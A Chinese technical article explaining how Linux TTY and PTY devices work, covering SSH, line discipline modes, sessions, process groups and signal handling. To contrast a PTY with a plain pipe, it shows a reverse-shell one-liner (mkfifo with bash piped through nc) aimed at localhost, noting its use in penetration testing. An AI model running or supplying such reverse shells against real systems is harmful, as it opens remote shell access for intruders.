TTY 设备在 Linux 系统中的应用比较广泛,但很少有人去深度探讨 TTY 设备在整个 Linux 系统交互中起到的关键性作用。本文整合了几篇较为经典的文章对 TTY 设备整体工作原理、机制及应用的探讨,希望能够为读者带来帮助。

从功能性的角度看

其实,从功能性的角度来看,Linux 的 TTY 设备就是受操作系统管理的双向管道,用户通过外设(一般是键盘)输入的数据会进入到 TTY 设备文件,经过终端驱动,传递给操作系统进行处理,操作系统输出到 TTY 设备的数据则会被输出到外设(一般是屏幕),让用户能够看见,本质上就是一个从外设到操作系统的双向管道。

PTY 和 TTY 在功能上是一致的,不过它可以被用户进程创建。用户进程可以通过 Linux 系统提供的接口创建一个 PTS Pair,一个 PTS Pair 分为 Master 设备和 Slave 设备两种,输出到 Master 设备的数据会被传递到 Slave 设备的输入,而输出到 Slave 设备的数据会被传递到 Master 设备的输入。如果我们将显示器绑定到 Master 设备的输出上面,再将键盘绑定到 Master 设备的输入上面,那么我们就能够通过 Master 设备间接操作绑定到 Slave 设备的进程了。因为 PTY 和 TTY 本身并没有太大的差别,为避免过于啰嗦,在下面我只针对 PTY 进行讲述。 图 1:PTS 数据传输示意

一个例子:SSH

SSH 的设计中也使用了 PTY 设备,我们在通过 SSH 登入主机进入 Shell 后,可以通过 tty 命令去获取当前的 Shell 进程运行在哪个 PTY 上面。 图 2:查看当前 Shell 所属的 PTY 设备 上面tty命令给出的结果/dev/pts/dev是当前运行的 Shell 绑定的 PTY Slave 设备,而对应的 Master 设备文件描述符只有通过 /dev/ptmx创建 PTY Pair 的进程持有,都指向/dev/ptmx,可以通过sudo lsof /dev/ptmx查看。我们在使用 SSH 的时候,本地的 Terminal Emulator 将输入的字符发送到 SSH 进程,SSH 进程收到字符以后通过网络传输给服务器上面的 SSHD 进程,SSHD 进程将字符写入到 Master 设备,Shell 就能够从 Slave 设备中读取到字符。同理,Shell 的输出写入到 Slave 设备,被 SSHD 从 Master 设备处读取,通过网络传递给 SSH 客户端,最终 SSH 客户端将字符显示到屏幕上(当然,一般我们都是在 Terminal Emulator 里面运行的 SSH 进程,所以本地的 SSH 进程也是要通过 TTY 设备和键盘以及屏幕通讯的,这里图方便就没有画出来,大概样子和图 1 差不多)。

图 3:SSH 结构

知道了当前 Shell 所属的 PTY 设备之后,就能做一些有趣的事情了,比如我们可以向这个 PTY Slave 设备写入一些字符,被写入 Slave 设备的字符会被传递到 Master 设备的输入,被 SSHD 读取后通过网络传输到本地的 SSH 客户端,最后在屏幕上打印出来。

图 4:写入 Hello World 到 Slave 设备

当然,我们也可以在当前终端用 cat 命令来读取 Slave 文件,第一个 Hello World 是我键入的,第二个 Hello World 则是 Cat 从 Slave 设备中读取到的。如果我们在另一个终端用 cat 命令去读取当前终端的输入,另一个终端的cat命令会和 Shell 发生争抢,两边都只能得到部分字符(至于为什么图 5 能够显示两行 Hello World,而图 6 只能显示一行,可以查看参考 9 的文章,或者后续关于 raw mode 和 cooked mode 的部分)。

图 5:用 cat 读取当前终端的 Slave 设备

图 6:用 cat 读取其他终端的 Slave 设备

从上面的例子我们可以感觉到,PTY 的表现和双向管道并没有什么太大的区别,从一向读取数据,再从另外一个方向发送出去,反之同理。从 SSH 的例子来看,如果我们直接将 SSHD 进程的输入输出绑定到 Shell 上面,似乎也能做到同样的事情,还避免了多一层 PTY Pair 的数据传递带来的开销,何乐而不为呢?

简单的双向管道?

现在我们通过一个 TCP 连接来模拟 SSH 和 SSHD,在服务器上面启动一个 Shell,并将其绑定到一个 TCP 连接的输入输出上,这个操作在渗透测试的时候经常被使用,即反弹一个 Shell(尽管在反弹 Shell 中,是服务器主动连接的客户端)。

# 在本地主机上监听
nc -lvv 127.0.0.1 5000
# 在目标主机上执行
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash 2>&1 | nc 127.0.0.1 5000 > /tmp/f

图 7:反弹的 Shell 看起来也不错嘛,就是有些地方有点奇怪,比如vim会提示输入输出不是 Terminal,方向键也用不了,不能用上箭头返回上一条指令,并且一旦我按下^C,就会直接关闭这个连接,而不是放弃当前键入的命令。这就引入了 PTY 设备和双向管道的最大区别:PTY 设备驱动,也就是图 1 中绿色的部分。

PTY 驱动

PTY 设备驱动干的事情挺杂,具体的可以查看参考 5,或者参考 5 的英文原版参考 6。简单来说,它包括行编辑、会话管理和两大模块功能。它在用户输入输出和程序之间引入了一层隔离层,在这个隔离层中进行翻译和控制工作。这个隔离层使得用户的操作无需完全受制于应用程序,而可以通过额外的操作手段去干预应用程序的执行。这相当于将一个输入输出分成了两部分,一部分是数据,一部分是控制指令,用户既可以将数据通过 PTY 设备传给进程,也可以通过一些特殊的按键触发 PTY 的功能指令,向进程发送信号进行控制干预,相当于复用了单一信道,对当时只有一条电缆连接到计算机主机的 UART 接口的原始终端是必不可少的存在。

行编辑

对于命令行应用,用户需要频繁地输入指令与其进行交互,而在这输入过程中难免会发生一些错误。为了方便用户在提交指令前对输入进行修改和编辑,以及,操作系统引入了一个叫做 Line Discipline 的功能,Line Discipline 并非是一个特定的处理程序,而是一系列不同的处理程序的统称,实际在使用 PTY 设备的时候,我们可以自行设置需要使用的 Line Discipline。最常用的 Line Discipline 有两种,在 Terminal 的设置中,一种被称为 Canonical mode (或者 cooked-mode),输入在经过这类 Line Discipline 的时候会被缓存,并且可以编辑修改,直到按下回车键进行提交,Line Discipline 就将当前缓冲区的内容发送到设备描述符。另外一种则被称为 Non-Canonical mode (或者 raw-mode),在该模式下,Line Discipline 不会对输入的字符进行任何处理,而是将其原封不动发送到设备描述符,使得进程能够即时对输入作出反应。

这里就可以回到上面cat指令的例子了,为什么cat指令在当前终端下执行能够显示两行 Hello World,而在另外一个终端执行时只能输出一行呢?原因是在当前终端执行的前台进程是bashbash在程序内部实现了缓冲区,因此它并不需要操作系统为其提供 Line Discipline 功能,所以在bash等待执行命令的时候,其所连接到的终端设备,也即 PTY Slave /dev/pts/29,被设置为了 raw-mode,直接将所有的字符传给bash进行处理。因此,在另外一个终端使用cat/dev/pts/29进行读取的时候,catbash同时争抢即时输入的字符,并且 raw-mode 没有输入回显,所以只能看到一个 Hello World。当bash开始执行命令的时候,它会将当前终端重新设置为 cooked-mode,此时就启用了缓冲区,因此我们在当前终端执行cat的时候,并不是输入一个字符,cat就读取到一个字符,而是我们输入完全部字符按回车提交后,cat才收到一整串字符并回显,图 5 的第二行字符即为cat读取到的内容,而第一行其实是 cooked-mode 提供的输入回显功能。

图 8:TTY 的软件部分示意 图 9:xterm 的工作原理,PTY 示意

会话管理

对于输入的缓冲是一方面功能,但这毕竟只是相当于为需要命令行交互的程序提供了一个方便的缓冲区设计而已。在我看来,会话管理功能,其实才 PTY 最重要的功能。以 Linux 为例,在 Linux 进程管理中,有前台任务、后台任务、守护进程、进程组和会话的概念。

默认情况下,我们在 shell 中启动一个程序时,程序即以前台任务的形式启动,该任务独占命令行窗口的输入输出,只有结束时才能执行其他命令。后台进程可以通过在程序启动参数最后加上一个&符号启动,或者是通过^Z将其暂停,然后通过bg命令在后台恢复执行来生成。后台任务和前台任务共享终端的输出,但是无法接收终端的输入。进程组是一系列相互关联的进程集合,每个进程都会属于某个进程组,以进程组 ID 作为标识(一般进程组 ID 和创建该组的进程 ID 一致,同组内其他进程都是该进程的子进程),系统可以对一个进程组同时执行统一的操作,比如将某个信号发给同组内的所有进程。

会话是若干进程的集合,系统中每个进程也必须从属于某一个会话,一个会话最多只有一个控制终端,该终端为会话中所有进程组中的进程共有,而一个会话只会有一个前台进程组,只有前台进程组中的进程才可以和控制终端进行交互。每个会话会有一个 Leader,即创建会话的进程(通过系统调用 setsid()可以创建会话,但为了确保进程组的所有成员属于同一个会话,只有非进程组组长的进程可以创建会话,原因可以查阅参考 12)。由此,会话、进程组、进程产生了一个树状的结构,会话用于共享对应的控制终端输入输出,进程组用于共享发送到进程的信号。当用户在某个终端上登录,就启动了一个新的会话,终端上的所有输入与信号会发送给会话前台进程组中的所有进程,而终端断开的时候,系统就会发送 SIGHUP 到会话的控制进程。

进程组与会话的概念为我们在终端上实现任务控制提供了更灵活的机制,我们能够在不同的进程之间随时进行切换,不必受制于运行中的进程。会话的控制通过信号进行,将外设的输入翻译为信号,也正是上述提及的 Line Discipline 的工作。我们都已经习惯了在 SSH 中按下^C,意味着向当前的前台进程发送 SIGINT 信号,实际上,我们本地的 SSH 只是捕捉到了 ^C 字符,在经过 PTY 的 Line Discipline 的时候被翻译成 SIGINT 信号,并通过操作系统将该信号发送给绑定 PTY Slave 设备为控制终端的前台进程组组长(前台进程组的身份是 shell 告诉内核的),进而终止前台进程的执行。^Z等控制命令具有相似的过程。一个更翔实的例子可以查看参考 5 中的第 6 节,或者是其英文原版参考 6 中的对应节。

总结

总的来说,PTY 设备沿承自 TTY 设备,作为 TTY 设备的一个模拟实现,为我们实现简单的控制终端提供了方便的交互和控制接口。它作为一个外设和进程之间的中间层,在进程之外提供提供可配置的输入和信号复用,使得用户在通过单一接口操作计算机时的灵活性大大提高。不过一般来说,如果不是需要进行远程的基于字符的作业控制,其实是用不太上 PTY 这样的设备的,简单的进程通讯可以直接使用管道或其他 IPC 工具来实现,在简单的消息传递上面用 PTY 未免有点杀鸡用牛刀的意味了。

参考

  1. difference between pty and a pipe
  2. Using pseudo-terminals (pty) to control interactive programs
  3. Pseudo-terminals vs. a pair of pipes
  4. Linux 黑话解释:TTY 是什么? | Linux 中国
  5. TTY 的前世今生(2008)
  6. The TTY demystified
  7. Linux 伪终端
  8. Redirect input from one terminal to another
  9. Race condition when reading from /dev/pts/x
  10. 多种姿势反弹 shell
  11. Linux 会话、终端与进程组
  12. why group leader cannnot able create the session in Linux
  13. Linux-进程、进程组、作业、会话、控制终端详解
  14. who send SIGINT to foreground process when press ctrl+c, tty driver or shell
  15. Foreground and Background